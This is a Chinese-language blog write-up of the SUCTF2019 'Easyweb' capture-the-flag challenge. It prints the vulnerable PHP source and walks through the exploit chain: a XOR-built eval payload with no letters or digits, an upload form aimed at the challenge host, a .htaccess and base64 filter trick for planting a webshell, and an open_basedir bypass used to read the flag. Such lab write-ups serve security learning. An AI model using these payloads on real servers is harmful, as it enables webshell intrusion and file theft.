SUCTF2019-web Easyweb

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

分两部分,首先利用eval命令执行,然后执行get_the_flag()方法传马

我写了脚本筛选出可以使用的字符,然后构造无数字字母的rce payload

        

参考p神的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

 

 代码限制了_参数的长度不能超过18,并且不能出现12种以上的字符。

 

 

脚本执行结果:

 

 

 ~不能用所以不能取反构造。自增构造的payload太长,超过了长度限制。所以使用异或。

我用异或构造了get传参,payload如下:

${%fe%fe%fe%fe^%a1%b9%bb%aa}{%a1}();&%a1=get_the_flag

等价于${_GET}{i}();&i=get_the_flag

因为"["被过滤所以不能用[]包裹参数,可以用{}替代[]。

统一用%fe是为了不超过相同字符串数量限制

 

构造一个html上传文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

<form action="http://fec2f097-b129-4828-9a7e-dd33e58bf52c.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%a1}();&%a1=get_the_flag" method="post" enctype="multipart/form-data">
    <p><input type="file" name="file"></p>
    <p><input type="submit" value="submit"></p>
</form>

</body>
</html>

题目过滤了ph,又是apache。很容易想到利用.htaccess绕过。<script language="php"></script>在这里行不通,因为php版本过高

还过滤了<? ,短标签也不行,但可以将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码

题目还对文件头进行了检测,这里采用#define width 1337 #define height 1337 绕过。加GIF89a的话htaccess无法成功解析,因为不满足htaccess语法

#在htaccess中表示注释,不会被执行

构造.htaccess

 

 

 

 上传成功

接着上传base64编码过的一句话

 

 

 GIF89a后加12是为了补位,补满8个字节,满足base64的编码规则。编码规则参考https://blog.csdn.net/sinat_17775997/article/details/80769699

 

 简而言之,就是8字节为一块,如果不补位,一句话的前面一段就会和GIF89a一起转换,无法正确解析

 

蚁剑连马

 发现了假flag,html的上级目录无法访问。尝试用蚁剑disabled_function绕过模块的的php_fpm绕过但是失败了。。。。。。

其实在第一部分的时候利用rce 的payload可以查看phpinfo

 

 

 访问被限制,所以可以考虑绕过open_basedir。这里参考https://xz.aliyun.com/t/4720

payload:chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir("/"));

橙色标记的地方就是payload,可以执行命令,我们先查看根目录

 

 

 发现flag文件,利用readfile读flag

太难了吧,这道题

 

posted @ 2020-06-08 17:42  remon535  阅读(417)  评论(0编辑  收藏  举报